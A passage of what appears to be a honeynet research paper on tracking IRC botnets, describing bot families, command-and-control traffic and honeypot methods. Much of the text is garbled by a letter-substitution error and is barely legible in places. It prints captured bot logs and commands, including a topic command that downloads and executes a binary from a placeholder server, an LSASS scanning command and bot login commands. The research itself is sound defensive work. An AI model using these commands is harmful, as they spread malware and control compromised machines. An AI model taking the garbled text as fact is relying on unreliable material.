FXUWheUPRUe, UeYeUVe eQgiQeeUiQg WhiV PaOZaUe iV haUdeU ViQce iW iQcOXdeV fXQcWiRQV WR deWecW debXggeUV (e.g.
SRfWICE aQd OOO\Dbg) aQd YiUWXaO PachiQeV (e.g. VMWaUe aQd ViUWXaO PC). IQ addiWiRQ, AgRbRW iV Whe RQO\ bRW
WhaW XWiOi]ed a cRQWURO SURWRcRO RWheU WhaQ IRC. A fRUN XViQg Whe diVWUibXWed RUgaQi]ed WASTE chaW QeWZRUN iV
aYaiOabOe. FXUWheUPRUe, Whe LiQX[ YeUViRQ iV abOe WR deWecW Whe LiQX[ diVWUibXWiRQ XVed RQ Whe cRPSURPiVed hRVW
aQd VeWV XS a cRUUecW iQiW VcUiSW.
SXPPaUi]iQg: "The cRde UeadV OiNe a chaUP, iW'V OiNe daWiQg Whe deYiO."
SDBot/RBot/UrBot/UrXBot/...
ThiV faPiO\ Rf PaOZaUe iV aW Whe PRPeQW Whe PRVW acWiYe RQe: SRShRV OiVWV cXUUeQWO\ VeYeQ deUiYaWiYeV RQ Whe



"LaWeVW 10 YiUXV aleUWV". SDBoW iV ZUiWWen in YeU\ pooU C and alVo pXbliVhed XndeU Whe GPL. IW iV Whe faWheU of
RBoW, R[BoW, UUBoW, UUXBoW, JUBoW, .. and pUobabl\ man\ moUe. The VoXUce code of WhiV boW iV noW YeU\ Zell
deVigned oU ZUiWWen. NeYeUWheleVV, aWWackeUV like iW, and iW iV YeU\ ofWen XVed in Whe Zild. IW offeUV VimilaU feaWXUeV
Wo AgoboW, alWhoXgh Whe command VeW iV noW aV laUge, noU Whe implemenWaWion aV VophiVWicaWed.

mIRC-based Bots - GT-Bots
We VXbVXme all mIRC-baVed boWV aV GT-boWV, Vince WheUe aUe Vo man\ diffeUenW YeUVionV of Whem WhaW iW iV haUd
Wo geW an oYeUYieZ of all foUkV. mIRC iWVelf iV a popXlaU IRC clienW foU WindoZV. GT iV an abbUeYiaWion foU
Global Threat and WhiV iV Whe common name XVed foU all mIRC-VcUipWed boWV. TheVe boWV laXnch an inVWance of
Whe mIRC chaW-clienW ZiWh a VeW of VcUipWV and oWheU binaUieV. One binaU\ \oX Zill neYeU miVV iV a HideWindoZ
e[ecXWable XVed Wo make Whe mIRC inVWance XnVeen b\ Whe XVeU. The oWheU binaUieV aUe mainl\ D\namic Link
LibUaUieV (DLLV) linked Wo mIRC WhaW add Vome neZ feaWXUeV Whe mIRC VcUipWV can XVe. The mIRC-VcUipWV,
ofWen haYing Whe e[WenVion ".mUc", aUe XVed Wo conWUol Whe boW. The\ can acceVV Whe VcanneUV in Whe DLLV and
Wake caUe of fXUWheU VpUeading. GT-BoWV VpUead b\ e[ploiWing ZeakneVVeV on UemoWe compXWeUV and Xploading
WhemVelYeV Wo compUomiVed hoVWV (fileVi]e > 1 MB).

BeVideV WheVe WhUee W\peV of boWV Zhich Ze find on a neaUl\ dail\ baViV, WheUe aUe alVo oWheU boWV WhaW Ze Vee moUe

Veldom. Some of WheVe boWV offeU "nice" feaWXUeV and aUe ZoUWh menWioning heUe:

DSNX Bots
The DaWaVp\ NeWZoUk X (DSNX) boW iV ZUiWWen in C++ and haV a conYenienW plXgin inWeUface. An aWWackeU can

eaVil\ ZUiWe VcanneUV and VpUeadeUV aV plXginV and e[Wend Whe boW'V feaWXUeV. Again, Whe code iV pXbliVhed XndeU
Whe GPL. ThiV boW haV one majoU diVadYanWage: Whe defaXlW YeUVion doeV noW come ZiWh an\ VpUeadeUV. BXW

plXginV aUe aYailable Wo oYeUcome WhiV gap. FXUWheUmoUe, plXginV WhaW offeU VeUYiceV like DDoS-aWWackV,
poUWVcan-inWeUface oU hidden HTTP-VeUYeU aUe aYailable.

Q8 Bots
Q8boW iV a YeU\ Vmall boW, conViVWing of onl\ 926 lineV of C-code. And iW haV one addiWional noWeZoUWhineVV: IW'V

ZUiWWen foU Uni[/LinX[ V\VWemV. IW implemenWV all common feaWXUeV of a boW: D\namic XpdaWing Yia HTTP-

doZnloadV, YaUioXV DDoS-aWWackV (e.g. SYN-flood and UDP-flood), e[ecXWion of aUbiWUaU\ commandV, and
man\ moUe. In Whe YeUVion Ze haYe capWXUed, VpUeadeUV aUe miVVing. BXW pUeVXmabl\ YeUVionV of WhiV boW e[iVW

Zhich alVo inclXde VpUeadeUV.
kaiten

ThiV boW lackV a VpUeadeU Woo, and iV alVo ZUiWWen foU Uni[/LinX[ V\VWemV. The Zeak XVeU aXWhenWicaWion makeV iW
YeU\ eaV\ Wo hijack a boWneW UXnning ZiWh kaiWen. The boW iWVelf conViVWV of jXVW one file. ThXV iW iV YeU\ eaV\ Wo

feWch Whe VoXUce code XVing ZgeW, and compile iW on a YXlneUable bo[ XVing a VcUipW. KaiWen offeUV an eaV\
UemoWe Vhell, Vo checking foU fXUWheU YXlneUabiliWieV Wo gain pUiYileged acceVV can be done Yia IRC.

Perl-based bots
TheUe aUe man\ diffeUenW YeUVion of YeU\ Vimple baVed on Whe pUogUamming langXage PeUl. TheVe boWV aUe YeU\

Vmall and conWain in moVW caVeV onl\ a feZ hXndUed lineV of code. The\ offeU onl\ a UXdimenWaU\ VeW of
commandV (moVW ofWen DDoS-aWWackV) and aUe XVed on Uni[-baVed V\VWemV.

What Bots Do and How They Work

AfWeU haYing inWUodXced diffeUenW W\peV of boWV, Ze noZ ZanW Wo Wake a cloVeU look aW ZhaW WheVe boWV noUmall\ do and

hoZ Whe\ ZoUk. ThiV VecWion Zill in deWail e[plain hoZ boWV VpUead and hoZ Whe\ aUe conWUolled b\ WheiU maVWeUV.

AfWeU VXcceVVfXl e[ploiWaWion, a boW XVeV TUiYial File TUanVfeU PUoWocol (TFTP), File TUanVfeU PUoWocol (FTP),
H\peUTe[W TUanVfeU PUoWocol (HTTP), oU CSend (an IRC e[WenVion Wo Vend fileV Wo oWheU XVeUV, compaUable Wo DCC)

Wo WUanVfeU iWVelf Wo Whe compUomiVed hoVW. The binaU\ iV VWaUWed, and WUieV Wo connecW Wo Whe haUd-coded maVWeU IRC
VeUYeU. OfWen a d\namic DNS name iV pUoYided (foU e[ample one fUom ZZZ.d\ndnV.oUg) UaWheU Whan a haUd coded IP

addUeVV, Vo Whe boW can be eaVil\ UelocaWed. Some boWV eYen UemoYe WhemVelYeV if Whe giYen maVWeU VeUYeU iV localhoVW
oU in a pUiYaWe VXbneW, Vince WhiV indicaWeV an XnXVXal ViWXaWionV. UVing a Vpecial cUafWed nickname like USA_743634 oU

[UrX]-98439854 Whe boW WUieV Wo join Whe maVWeU'V channel, VomeWimeV XVing a paVVZoUd Wo keep VWUangeUV oXW of Whe
channel. A W\pical commXnicaWion WhaW can be obVeUYed afWeU a VXcceVVfXl infecWion lookV like:



< -  : i r c 1 . X X X X X X . X X X  N O T I C E  A U T H  : * * *  L o o k i n g  u p  y o u r  h o s t n a m e . . .
< -  : i r c 1 . X X X X X X . X X X  N O T I C E  A U T H  : * * *  F o u n d  y o u r  h o s t n a m e
- >  P A S S  s e c r e t s e r v e r p a s s
- >  N I C K  [ u r X ] - 7 0 0 1 5 9
- >  U S E R  m l t f v t  0  0  : m l t f v t
< -  : i r c 1 . X X X X X X . X X X  N O T I C E  [ u r X ] - 7 0 0 1 5 9  : * * *  I f  y o u  a r e  h a v i n g  p r o b l e m s  c o n n e c t i n g  d u e  t o
p i n g  t i m e o u t s ,  p l e a s e  t y p e  / q u o t e  p o n g  E D 3 2 2 7 2 2  o r  / r a w  p o n g  E D 3 2 2 7 2 2  n o w .
< -  P I N G  : E D 3 2 2 7 2 2
- >  P O N G  : E D 3 2 2 7 2 2
< -  : i r c 1 . X X X X X X . X X X  0 0 1  [ u r X ] - 7 0 0 1 5 9  : W e l c o m e  t o  t h e  i r c 1 . X X X X X X . X X X  I R C  N e t w o r k
[ u r X ] - 7 0 0 1 5 9 ! m l t f v t @ n i c e t r y
< -  : i r c 1 . X X X X X X . X X X  0 0 2  [ u r X ] - 7 0 0 1 5 9  : Y o u r  h o s t  i s  i r c 1 . X X X X X X . X X X ,  r u n n i n g  v e r s i o n
U n r e a l 3 . 2 - b e t a 1 9
< -  : i r c 1 . X X X X X X . X X X  0 0 3  [ u r X ] - 7 0 0 1 5 9  : T h i s  s e r v e r  w a s  c r e a t e d  S u n  F e b   8  1 8 : 5 8 : 3 1  2 0 0 4
< -  : i r c 1 . X X X X X X . X X X  0 0 4  [ u r X ] - 7 0 0 1 5 9  i r c 1 . X X X X X X . X X X  U n r e a l 3 . 2 - b e t a 1 9
i o w g h r a A s O R T V S x N C W q B z v d H t G p  l v h o p s m n t i k r R c a q O A L Q b S e K V f M G C u z N

AfWeUZaUdV, Whe VeUYeU accepWV Whe boW aV a clienW and VendV him RPL_ISUPPORT, RPL_MOTDSTART,

RPL_MOTD, RPL_ENDOFMOTD oU ERR_NOMOTD. ReplieV VWaUWing ZiWh RPL_ conWain infoUmaWion foU Whe
clienW, foU e[ample RPL_ISUPPORT WellV Whe clienW Zhich feaWXUeV Whe VeUYeU XndeUVWandV and RPL_MOTD indicaWeV

Whe MeVVage Of The Da\ (MOTD). In conWUaVW Wo WhiV, ERR_NOMOTD iV an eUUoU meVVage if no MOTD iV aYailable.
In Whe folloZing liVWing, WheVe UeplieV aUe highlihWed ZiWh coloUV:

< -  : i r c 1 . X X X X X X . X X X  0 0 5  [ u r X ] - 7 0 0 1 5 9  M A P  K N O C K  S A F E L I S T  H C N  M A X C H A N N E L S = 2 5  M A X B A N S = 6 0
N I C K L E N = 3 0  T O P I C L E N = 3 0 7  K I C K L E N = 3 0 7  M A X T A R G E T S = 2 0  A W A Y L E N = 3 0 7  : a r e  s u p p o r t e d  b y  t h i s
s e r v e r
< -  : i r c 1 . X X X X X X . X X X  0 0 5  [ u r X ] - 7 0 0 1 5 9  W A L L C H O P S  W A T C H = 1 2 8  S I L E N C E = 5  M O D E S = 1 2  C H A N T Y P E S = #
P R E F I X = ( q a o h v ) a & @ % +  C H A N M O D E S = b e , k f L , l , p s m n t i r R c O A Q K V G C u z N S M  N E T W O R K = i r c 1 . X X X X X X . X X X
C A S E M A P P I N G = a s c i i  : a r e  s u p p o r t e d  b y  t h i s  s e r v e r
< -  : i r c 1 . X X X X X X . X X X  3 7 5  [ u r X ] - 7 0 0 1 5 9  : -  i r c 1 . X X X X X X . X X X  M e s s a g e  o f  t h e  D a y  -
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  2 0 / 1 2 / 2 0 0 4  7 : 4 5
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -  .                           +
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -             +                                   
                 .
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -                                       _ _ _       
.
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -       .                         _ . - - " a a  _ _ " - .
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -                             , - "      . - a   a " - \   
           .
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -                .           . ^        /        (  )   
   .
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -                      +    { _ . - - - . _  /          a
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -                          /     .   Y               
             .
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -                         /       \ _ j               
       +
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -          .              Y      (  - - l _ _
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -                        |             " - .         
          .
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -                        |       ( _ _ _               
    .        |         . ) a - . _ _ /
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -           .            .
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -                        l         _ )
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -       .                  \       " l
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -           +               \        -               
           \        ^ .
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -               .             ^ .        " - .         
  - R o w          .
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -                              " - . _       a - . _ _ _ ,
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -                        .          " - - . . _ _ _ _ _ . ^
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -         .                                       
  .
< -  : i r c 1 . X X X X X X . X X X  3 7 2  [ u r X ] - 7 0 0 1 5 9  : -  -                              - > M o o n < -
< -  : i r c 1 . X X X X X X . X X X  3 7 6  [ u r X ] - 7 0 0 1 5 9  : E n d  o f  / M O T D  c o m m a n d .
< -  : [ u r X ] - 7 0 0 1 5 9  M O D E  [ u r X ] - 7 0 0 1 5 9  : + i



On RPL_ENDOFMOTD oU ERR_NOMOTD, Whe boW Zill WU\ Wo join hiV maVWeU'V channel ZiWh Whe pUoYided
paVVZoUd:

- >  J O I N  # f o o b a U  c h a n n e l p a V V Z o U d
- >  M O D E  [ X U X ] - 7 0 0 1 5 9  + [

The boW UeceiYeV Whe Wopic of Whe channel and inWeUpUeWV iW aV a command:

< -  : i U c 1 . X X X X X X . X X X  3 3 2  [ X U X ] - 7 0 0 1 5 9  # f o o b a U  : . a d Y V c a n  l V a V V  2 0 0  5  0  - U  - V
< -  : [ X U X ] - 7 0 0 1 5 9 ! m l W f Y W @ n i c e W U \  J O I N  : # f o o b a U
< -  : i U c 1 . X X X X X X . X X X  M O D E  # f o o b a U  + V m n W X k  c h a n n e l p a V V Z o U d

MoVW boWneWV XVe a Wopic command like

1. ".advscan lsass 200 5 0 -r -s"
2. ".http.update http://<server>/amugenxu/rBot.exe c:\msy32awds.exe 1"

The fiUVW Wopic WellV Whe boW Wo VpUead fXUWheU ZiWh Whe help of Whe LSASS YXlneUabiliW\. 200 concXUUenW WhUeadV VhoXld

Vcan ZiWh a dela\ of 5 VecondV foU an XnlimiWed Wime (paUameWeU 0). The VcanV VhoXld be Uandom (paUameWeU -U) and
VilenW (paUameWeU -V), WhXV aYoiding Woo mXch WUaffic dXe Wo VWaWXV UepoUWV. In conWUaVW Wo WhiV, Whe Vecond e[ample of a

poVVible Wopic inVWUXcWV Whe boW Wo doZnload a binaU\ fUom Whe Zeb and e[ecXWe iW (paUameWeU 1). And if Whe Wopic doeV
noW conWain an\ inVWUXcWionV foU Whe boW, When iW doeV noWhing bXW idling in Whe channel, aZaiWing commandV. ThaW iV

fXndamenWal foU moVW cXUUenW boWV: The\ do noW VpUead if Whe\ aUe noW Wold Wo VpUead in WheiU maVWeU'V channel.
Upon VXcceVVfXl e[ploiWaWion Whe boW Zill meVVage Whe oZneU aboXW iW, if iW haV been adYiVed Wo do Vo.

- >  P R I V M S G  # f o o b a U  : [ l V a V V ] :  E [ p l o i W i n g  I P :  2 0 0 . 1 2 4 . 1 7 5 . X X X
- >  P R I V M S G  # f o o b a U  : [ T F T P ] :  F i l e  W U a n V f e U  V W a U W e d  W o  I P :  2 0 0 . 1 2 4 . 1 7 5 . X X X
( C : \ W I N D O W S \ S \ V W e m 3 2 \ N A V . e [ e ) .

Then Whe IRC VeUYeU (alVo called IRC daemon, abbUeYiaWed IRCd) Zill pUoYide Whe channelV XVeUliVW. BXW moVW boWneW
oZneUV haYe modified Whe IRCd Wo jXVW Vend Whe channel opeUaWoUV Wo VaYe WUaffic and diVgXiVe Whe nXmbeU of boWV in

Whe channel.

< -  : i U c 1 . X X X X X X . X X X  3 5 3  [ X U X ] - 7 0 0 1 5 9  @  # f o o b a U  : @ J A H
< -  : i U c 1 . X X X X X X . X X X  3 6 6  [ X U X ] - 7 0 0 1 5 9  # f o o b a U  : E n d  o f  / N A M E S  l i V W .
< -  : i U c 1 . X X X X X X . X X X  N O T I C E  [ X U X ] - 7 0 0 1 5 9  : B O T M O T D  F i l e  n o W  f o X n d
< -  : [ X U X ] - 7 0 0 1 5 9  M O D E  [ X U X ] - 7 0 0 1 5 9  : + [

The conWUolleU of a boWneW haV Wo aXWhenWicaWe himVelf Wo Wake conWUol oYeU Whe boWV. ThiV aXWhenWicaWion iV done ZiWh Whe
help of a command pUefi[ and Whe "aXWh" command. The command pUefi[ iV XVed Wo login Whe maVWeU on Whe boWV and

afWeUZaUdV he haV Wo aXWhenWicaWe himVelf. FoU e[ample,

. l o g i n  l e e W 0

. l a  p l m p  - V

aUe commandV XVed on diffeUenW boWV Wo appUoYe Whe conWUolleU. Again, Whe "-V" VZiWch in Whe laVW e[ample WellV Whe boWV

Wo be VilenW Zhen aXWhenWicaWing WheiU maVWeU. ElVe Whe\ Uepl\ VomeWhing like

[ M A I N ] :  P a V V Z o U d  a c c e p W e d .
[ U [ X ] - S h 0 [ [ ] ] :  . : (  P a V V Z o U d  A c c e W W a W a  ) : .  .

Zhich can be a loW of WUaffic if \oX haYe 10,000 boWV on \oXU neWZoUk. Once an aWWackeU iV aXWhenWicaWed, Whe\ can do
ZhaWeYeU Whe\ ZanW ZiWh Whe boWV: SeaUching foU VenViWiYe infoUmaWion on all compUomiVed machineV and DCC-Vending

WheVe fileV Wo anoWheU machine, DDoS-ing indiYidXalV oU oUgani]aWionV, oU enabling a ke\loggeU and looking foU Pa\Pal
oU eBa\ accoXnW infoUmaWion. TheVe aUe jXVW a feZ poVVible commandV, oWheU opWionV haYe been pUeVenWed in Whe

pUeYioXV VecWion. The IRC VeUYeU WhaW iV XVed Wo connecW all boWV iV in moVW caVeV a compUomiVed bo[. ThiV iV pUobabl\

becaXVe an aWWackeU ZoXld noW UeceiYe
opeUaWoU-UighWV on a noUmal chaW neWZoUk and WhXV haV Wo VeW-Xp WheiU oZn IRC VeUYeU Zhich offeUV moUe fle[ibiliW\.

FXUWheUmoUe, Ze made Vome oWheU inWeUeVWing obVeUYaWionV: Onl\ beginneUV VWaUW a boWneW on a noUmal IRCd. IW iV jXVW
Woo obYioXV \oX aUe doing VomeWhing naVW\ if \oX goW 1.200 clienWV named aV UboW-<6-digiWV> UepoUWing Vcanning UeVXlWV



iQ a chaQQeO.

TZR diffeUeQW IRC VeUYeUV VRfWZaUe iPSOePeQWaWiRQ aUe cRPPRQO\ XVed WR UXQ a bRWQeW: UQUeaO IRCd aQd
CRQfeUeQceRRRP:

UQUeaO IRCd (hWWS://ZZZ.XQUeaOiUcd.cRP/) iV cURVV-SOaWfRUP aQd caQ WhXV be XVed WR eaViO\ OiQN PachiQeV

UXQQiQg WiQdRZV aQd LiQX[. The IRC VeUYeU VRfWZaUe iV VWUiSSed dRZQ aQd PRdified WR fiW Whe bRWQeW RZQeUV
QeedV.

CRPPRQ PRdificaWiRQV Ze haYe QRWiced aUe VWUiSSiQg "JOIN", "PART" aQd "QUIT" PeVVageV RQ chaQQeOV WR

aYRid XQQeceVVaU\ WUaffic. IQ addiWiRQ, Whe PeVVageV "LUSERS" (iQfRUPaWiRQ abRXW QXPbeU Rf cRQQecWed cOieQWV)
aQd "RPL_ISUPPORT" aUe UePRYed WR hide ideQWiW\ aQd bRWQeW Vi]e. We UeceQWO\ gRW a ZiQ32 biQaU\ RQO\ cRS\

Rf a heaYiO\ PRdified UQUeaO IRCd WhaW ZaV VWUiSSed dRZQ aQd RSWiPi]ed. The fiOeQaPeV VXggeVW WhaW WhiV
PRdified IRCd iV abOe WR VeUYe 80.000 bRWV:

        c a c 8 6 2 9 c 7 1 3 9 b 4 8 4 e 4 a 1 9 a 5 3 c a a a 6 b e 0   U N R E A L . 3 . 2 - m 0 d d e d - L \ R . r a r
        9 d b a f 0 1 b 5 3 0 5 f 0 8 b d 8 c 2 2 c 6 7 e 4 b 4 f 7 2 9   U n r e a l - 8 0 k [ M A X ] u s e r s . r a r
        d e 4 c 1 f b c 4 9 7 5 b 6 1 e b e b 0 d b 7 8 d 1 f b a 8 4 f   u n r e a l - m o d d e d - 8 0 k - u s e r s - 1 . r a r

AV Ze dRQ'W UXQ a 80,000 XVeU bRWQeW aQd OacN 80,000 deYeORSeUV iQ RXU gURXS Ze aUe QRW abOe WR YeUif\ WhaW
iQfRUPaWiRQ. BXW SURbabO\ VXch hXge bRWQeWV aUe XVed b\ c\beU cUiPiQaOV fRU "SURfeVViRQaO" aWWacNV. TheVe NiQd

Rf QeWZRUNV caQ caXVe VeYeUe daPage ViQce Whe\ RffeU a ORW Rf baQdZidWh aQd PaQ\ WaUgeWV fRU ideQWiW\ WhefW.

CRQfeUeQceRRRP (hWWS://ZZZ.ZebPaVWeU.cRP/) iV a cRPPeUciaO IRCd VROXWiRQ, bXW SeRSOe ZhR UXQ bRWQeWV
W\SicaOO\ XVe a cUacNed YeUViRQ. CRQfeUeQceRRRP RffeUV Whe SRVVibiOiW\ Rf VeYeUaO WhRXVaQd ViPXOWaQeRXV

cRQQecWiRQV, ZiWh QicNQaPe aQd chaQQeO UegiVWUaWiRQ, bXdd\ OiVWV aQd VeUYeU WR VeUYeU OiQNiQg.
SXUSUiViQgO\ Ze aOUead\ fRXQd a MicURVRfW ChaW SeUYeU aV bRWQeW hRVW, aQd iW

VeePed WR UXQ VWabOe.

SiQce Whe SeRSOe ZhR UXQ bRWQeWV RfWeQ VhaUe Whe VaPe PRWiYeV (DDRS aWWacNV RU RWheU cUiPeV) eYeU\ bRW faPiO\ haV
iWV RZQ VeW Rf cRPPaQdV WR iPSOePeQW Whe VaPe gRaOV. AgRbRW iV UeaOO\ Qice heUe: JXVW gUeS Whe VRXUce fRU

R e g i s t e r C o m m a n d  aQd geW Whe ZhROe cRPPaQd-OiVW ZiWh a cRPSOeWe deVcUiSWiRQ Rf aOO feaWXUeV. DXe WR Whe OacN Rf

cOeaQ deVigQ, Whe ZhROe SDBRW faPiO\ iV haUdeU WR aQaO\]e. OfWeQ Whe cRPPaQd VeW iV chaQged iQ YaUiRXV fRUNV Rf Whe
VaPe bRW aQd WhXV aQ aXWRPaWed aQaO\ViV Rf Whe iPSOePeQWed cRPPaQdV iV QeaUO\ iPSRVVibOe.

If \RX aUe iQWeUeVWed iQ OeaUQiQg PRUe abRXW Whe diffeUeQW bRW cRPPaQdV, Ze haYe a PRUe deWaiOed RYeUYieZ Rf
cRPPaQd aQaO\ViV iQ bRWQeW cRPPaQdV. IQ addiWiRQ, if \RX aUe iQWeUeVWed iQ OeaUQiQg PRUe abRXW VRXUce cRde Rf bRWV,

\RX caQ fiQd PRUe deWaiO iQ Whe VeSaUaWe Sage RQ bRWQeW VRXUce cRde.

How to Track Botnets

IQ WhiV VecWiRQ Ze iQWURdXce RXU PeWhRdRORg\ WR WUacN aQd RbVeUYe bRWQeWV ZiWh Whe heOS Rf hRQe\SRWV. TUacNiQg
bRWQeWV iV cOeaUO\ a PXOWi-VWeS RSeUaWiRQ: FiUVW RQe QeedV WR gaWheU VRPe daWa abRXW aQ e[iVWiQg bRWQeWV. ThiV caQ fRU

e[aPSOe be RbWaiQed Yia aQ aQaO\ViV Rf caSWXUed PaOZaUe. AfWeUZaUdV RQe caQ hRRN a cOieQW iQ Whe QeWZRUNV aQd
gaWheU fXUWheU iQfRUPaWiRQ. IQ Whe fiUVW SaUW Rf WhiV VecWiRQ Ze WhXV ZaQW WR iQWURdXce RXU WechQiTXeV WR UeWUieYe Whe

QeceVVaU\ iQfRUPaWiRQ ZiWh Whe heOS Rf hRQe\SRWV. AQd WheUeafWeU Ze SUeVeQW RXU aSSURach iQ RbVeUYiQg bRWQeWV.

Getting information with the help of hone\nets

AV VWaWed befRUe, Ze Qeed VRPe VeQViWiYe iQfRUPaWiRQ fURP each bRWQeW WhaW eQabOeV XV WR SOace a faNe bRW iQWR a
bRWQeW. The Qeeded iQfRUPaWiRQ iQcOXde:

DNS/IP-addUeVV Rf IRC VeUYeU aQd SRUW QXPbeU

(RSWiRQaO) SaVVZRUd WR cRQQecW WR IRC-VeUYeU



NLFNQDPH RI ERW DQG LGHQW VWUXFWXUH

CKDQQHO WR MRLQ DQG (RSWLRQDO) FKDQQHO-SDVVZRUG.

UVLQJ D GHQII HRQH\QHW FRQWDLQLQJ VRPH WLQGRZV KRQH\SRWV DQG VQRUW_LQOLQH HQDEOHV XV WR FROOHFW WKLV LQIRUPDWLRQ.
WH GHSOR\HG D W\SLFDO GHQII HRQH\QHW ZLWK VRPH VPDOO PRGLILFDWLRQV DV GHSLFWHG LQ WKH QH[W ILJXUH:

TKH WLQGRZV KRQH\SRW LV DQ XQSDWFKHG YHUVLRQ RI WLQGRZV 2000 RU WLQGRZV XP. TKLV V\VWHP LV WKXV YHU\
YXOQHUDEOH WR DWWDFNV DQG QRUPDOO\ LW WDNHV RQO\ D FRXSOH RI PLQXWHV EHIRUH LW LV VXFFHVVIXOO\ FRPSURPLVHG. IW LV ORFDWHG

ZLWKLQ D GLDO-LQ QHWZRUN RI D GHUPDQ ISP. OQ DYHUDJH, WKH H[SHFWHG OLIHVSDQ RI WKH KRQH\SRW LV OHVV WKDQ WHQ PLQXWHV.
AIWHU WKLV VPDOO DPRXQW RI WLPH, WKH KRQH\SRW LV RIWHQ VXFFHVVIXOO\ H[SORLWHG E\ DXWRPDWHG PDOZDUH. TKH VKRUWHVW

FRPSURPLVH WLPH ZDV RQO\ D IHZ VHFRQGV: OQFH ZH SOXJJHG WKH QHWZRUN FDEOH LQ, DQ SDBRW FRPSURPLVHG WKH
PDFKLQH YLD DQ H[SORLW DJDLQVW TCP SRUW 135 DQG LQVWDOOHG LWVHOI RQ WKH PDFKLQH.

AV H[SODLQHG LQ WKH SUHYLRXV VHFWLRQ, D ERW WULHV WR FRQQHFW WR DQ IRC VHUYHU WR REWDLQ IXUWKHU FRPPDQGV RQFH LW

VXFFHVVIXOO\ DWWDFNV RQH RI WKH KRQH\SRWV. TKLV LV ZKHUH WKH HRQH\ZDOO FRPHV LQWR SOD\: DXH WR WKH DDWD CRQWURO
IDFLOLWLHV LQVWDOOHG RQ WKH HRQH\ZDOO, LW LV SRVVLEOH WR FRQWURO WKH RXWJRLQJ WUDIILF. WH XVH VQRUW_LQOLQH IRU DDWD CRQWURO

DQG UHSODFH DOO RXWJRLQJ VXVSLFLRXV FRQQHFWLRQV. A FRQQHFWLRQ LV VXVSLFLRXV LI LW FRQWDLQV W\SLFDO IRC PHVVDJHV OLNH "
332 ", " TOPIC ", " PRIVMSG " RU " NOTICE ". TKXV ZH DUH DEOH WR LQKLELW WKH ERW IURP DFFHSWLQJ YDOLG FRPPDQGV

IURP WKH PDVWHU FKDQQHO. IW FDQ WKHUHIRUH FDXVH QR KDUP WR RWKHUV - ZH KDYH FDXJKW D ERW LQVLGH RXU HRQH\QHW. AV D
VLGH HIIHFW, ZH FDQ DOVR GHULYH DOO QHFHVVDU\ VHQVLWLYH LQIRUPDWLRQ IRU D ERWQHW IURP WKH GDWD ZH KDYH REWDLQHG XS WR

WKDW SRLQW LQ WLPH: TKH DDWD CDSWXUH FDSDELOLW\ RI WKH HRQH\ZDOO DOORZV XV WR GHWHUPLQH WKH DNS/IP-DGGUHVV WKH ERW
ZDQWV WR FRQQHFW WR DQG DOVR WKH FRUUHVSRQGLQJ SRUW QXPEHU. IQ DGGLWLRQ, ZH FDQ GHULYH IURP WKH DDWD CDSWXUH ORJV

WKH QLFNQDPH DQG LGHQW LQIRUPDWLRQ. AOVR, WKH VHUYHU'V SDVVZRUG, FKDQQHO QDPH DV ZHOO DV WKH FKDQQHO SDVVZRUG FDQ
EH REWDLQHG WKLV ZD\. SR ZH KDYH FROOHFWHG DOO QHFHVVDU\ LQIRUPDWLRQ DQG WKH KRQH\SRW FDQ FDWFK IXUWKHU PDOZDUH.

SLQFH ZH GR QRW FDUH DERXW WKH FDSWXUHG PDOZDUH IRU QRZ, ZH UHEXLOG WKH KRQH\SRWV HYHU\ 24 KRXUV VR WKDW ZH KDYH
"FOHDQ" V\VWHPV HYHU\ GD\. TKH GHUPDQ HRQH\QHW PURMHFW LV DOVR ZRUNLQJ RQ DQRWKHU SURMHFW - WR FDSWXUH WKH LQFRPLQJ

PDOZDUH DQG DQDO\]LQJ WKH SD\ORDG - EXW PRUH RQ WKLV LQ D ODWHU VHFWLRQ.

ObserYing Botnets

NRZ WKH VHFRQG VWHS LQ WUDFNLQJ ERWQHWV WDNHV SODFH, ZH ZDQW WR UH-FRQQHFW LQWR WKH ERWQHW. SLQFH ZH KDYH DOO WKH
QHFHVVDU\ GDWD, WKLV LV QRW YHU\

KDUG. IQ D ILUVW DSSURDFK, \RX FDQ MXVW VHWXS DQ LUVVL (FRQVROH EDVHG IRC FOLHQW) RU VRPH RWKHU IRC FOLHQW DQG WU\ WR
FRQQHFW WR WKH QHWZRUN. II WKH QHWZRUN LV UHODWLYHO\ VPDOO (OHVV WKHQ 50 FOLHQWV), WKHUH LV D FKDQFH WKDW \RXU FOLHQW ZLOO EH

LGHQWLILHG VLQFH LW GRHV QRW DQVZHU WR YDOLG FRPPDQGV. IQ WKLV FDVH, WKH RSHUDWRUV RI WKH ERWQHWV WHQG WR HLWKHU EDQ
